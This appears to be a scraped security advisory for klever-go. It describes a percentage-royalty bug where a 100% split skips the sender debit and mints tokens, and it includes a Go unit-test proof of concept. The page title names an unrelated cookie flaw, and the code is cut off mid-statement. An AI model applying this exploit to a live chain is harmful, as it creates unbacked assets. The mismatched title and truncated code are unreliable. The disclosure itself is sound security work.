Insecurely generated cookies In github.com/klever-io/klever-go
Description
klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits ## Summary In processPercentageRoyaltiesTransfer the royalty pool is collected from the sender by SubFromBalance that is ordered after the split loop and after if royaltiesToPay <= 0 { return Ok }. The split-payout guard rejects only an allocation that exceeds the pool (a strict splitToPay > royaltiesToPay), so a split entry of exactly 100% (PercentTransferPercentage = 10000) is a valid config: it drives royaltiesToPay to 0 and hits the early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing for it → mint. The sibling fixed-royalty path (processFixedRoyaltiesTransfer) debits the sender first and is safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after the early-return. ## Affected code - core/kapp/accounts/accounts.go — processPercentageRoyaltiesTransfer: split loop → if royaltiesToPay <= 0 { return Ok } → acntSrc.SubFromBalance(royaltyAmount) (debit after the early-return). Contrast the safe processFixedRoyaltiesTransfer (debit before the loop). ## Impact Unbounded self-inflation of the transferred KDA: royaltyAmount = transferValue × rate is minted to an owner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update (off-the-books). ## Reachability Owner-gated to configure (own KDA with a TransferPercentage royalty + a 100% split). Once configured, the mint fires on any holder's transfer of the asset — not just the owner's. ## Proof of concept ### Unit test TestExploit_PercentRoyaltyZeroDebit drives the real processPercentageRoyaltiesTransfer with all relevant forks ON (KdaFpr, EnableSmartContracts, FixMarketBuyOverflow). With a single 100% split the recipient is credited the full royalty (40) while the sender's SubFromBalance is called 0 times (mint = 40); the 50% control case does not early-return, the sender is debited, and value conserves.
Full Go PoC (core/kapp/accounts package, passes = mint confirmed)
```go package accounts import ( "bytes" "encoding/hex" "testing" "github.com/stretchr/testify/require" commonMock "github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/core" "github.com/klever-io/klever-go/core/kapp" "github.com/klever-io/klever-go/data/block" "github.com/klever-io/klever-go/data/state" "github.com/klever-io/klever-go/data/transaction" integrationMock "github.com/klever-io/klever-go/integrationTest/mock" "github.com/klever-io/klever-go/kapps" kvmStub "github.com/klever-io/klever-go/kvm/mock/stub" ) // TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint: // processPercentageRoyaltiesTransfer credits the split recipient // inside the loop, then hits if royaltiesToPay <= 0 { return Ok } BEFORE the // sender's acntSrc.SubFromBalance(royaltyAmount, ...). A single VALID split // entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay // to 0 and skips the debit => the recipient keeps royaltyAmount, the sender pays // nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case // (which does NOT early-return) confirms the debit fires and value is conserved. func TestExploit_PercentRoyaltyZeroDebit(t *testing.T) { const ( assetIDStr = "FUNGI-1234" transferValue = int64(800) royaltyRatePct = uint32(500) // 5% royaltyAmount = int64(40) // 800 * 5% = 40 ) assetID := []byte(assetIDStr) // 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty // path is not short-circuited by core.IsSmartContractAddress. senderAddr := bytes.Repeat([]byte{0x11}, 32) // Split recipient address must be a valid hex string (computeSplitRoyalties // hex-decodes the map key). recipientAddr := bytes.Repeat([]byte{0x22}, 32) recipientKey := hex.EncodeToString(recipientAddr) royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32) buildKDA := func(splitPercent uint32) *kapps.KDAData { return &kapps.KDAData{ AssetType: kapps.KDAData_Fungible, OwnerAddress: senderAddr, Royalties: &kapps.RoyaltiesData{ Address: royaltyReceiverAddr, TransferPercentage: []*kapps.RoyaltyData{ {Amount: 1000, Percentage: royaltyRatePct}, }, SplitRoyalties: map[string]*kapps.RoyaltySplitData{ recipientKey: {PercentTransferPercentage: splitPercent}, }, }, } } type runResult struct { subFromCalls int subFromAmount int64 addToRecipient int64 addToOwnerRem int64 resCode transaction.Transaction_TXResultCode err error } run := func(t *testing.T, splitPercent uint32) runResult { t.Helper() res := runResult{} // Sender: track whether/what the royalty debit hits. Holds plenty of the asset. acntSrc := &commonMock.UserAccountHandlerStub{ AddressBytesCalled: func() []byte { return senderAddr }, GetBalanceCalled: func(_ []byte, _ bool) int64 { return 1_000_000 }, SubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error { res.subFromCalls++ res.subFromAmount += value return nil }, } // Destination is irrelevant to the royalty pool accounting here. acntDst := &commonMock.UserAccountHandlerStub{ AddressBytesCalled: func() []byte { return royaltyReceiverAddr }, } // Split recipient: capture the credit it receives. splitRecipient := &commonMock.UserAccountHandlerStub{ AddressBytesCalled: func() []byte { return recipientAddr }, AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error { res.addToRecipient += value return nil }, } // Owner-remainder receiver (only credited when the path does NOT early-return). royaltyReceiver := &commonMock.UserAccountHandlerStub{ AddressBytesCalled: func() []byte { return royaltyReceiverAddr }, AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error { res.addToOwnerRem += value return nil }, } cacher := &commonMock.AccountsCacherStub{ LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) { if bytes.Equal(address, recipientAddr) { return splitRecipient, nil } if bytes.Equal(address, royaltyReceiverAddr) { return royaltyReceiver, nil } return acntSrc, nil }, GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) { return royaltyReceiver, nil }, UpdateUserCalled: func(_ state.AccountHandler) error { return nil }, } // All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts // (overflow-checked percentage math), and FixMarketBuyOverflow so the // fix-branch payout guard splitToPay > royaltiesToPay is ACTIVE. fc := &integrationMock.ForkControllerStub{ KdaFprCalled: func() bool { return true }, EnableSmartContractsCalled: func() bool { return true }, FixMarketBuyOverflowCalled: func() bool { return true }, } kappController := &kvmStub.KAppControllerStub{ GetCurrentKAppContextCalled: func() kapp.KappContext { return kapp.NewKappContext(kapp.ArgsNewKAppContext{ OriginalSender: senderAddr, ContractID: 0, ContractType: transaction.TXContract_TransferContractType, Block: &block.Block{}, }) }, } a := &accountsKapp{ accountsCacher: cacher, forkController: fc, KAppController: kappController, } tc := &transaction.TransferContract{ Amount: transferValue, KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429) } kda := buildKDA(splitPercent) res.resCode, res.err = a.processPercentageRoyaltiesTransfer( tc, assetID, nil, acntSrc, acntDst, kda, ) return res } // ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ---- t.Run("split_100pct_mints", func(t *testing.T) { r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config require.NoError(t, r.err) require.Equal(t, transaction.Transaction_Ok, r.resCode) credited := r.addToRecipient debited := r.subFromAmount mintDelta := credited - debited t.Logf("[100%% case] split recipient credited (AddToBalance) = %d", credited) t.Logf("[100%% case] sender royalty-debit calls (SubFromBalance) = %d", r.subFromCalls) t.Logf("[100%% case] sender royalty amount debited = %d", debited) t.Logf("[100%% case] owner-remainder credited = %d", r.addToOwnerRem) t.Logf("[100%% case] MINT delta (credited - debited) = %d", mintDelta) // (1) split recipient WAS credited the full royaltyAmount (> 0). require.Equal(t, royaltyAmount, credited, "split recipient must receive the full royalty pool") require.Greater(t, credited, int64(0)) // (2) the sender's royalty debit was NEVER called -> value created. require.Equal(t, 0, r.subFromCalls, "BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the <=0 early-return") require.Equal(t,Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
go | 1.7.19-rc4 |
Aliases
References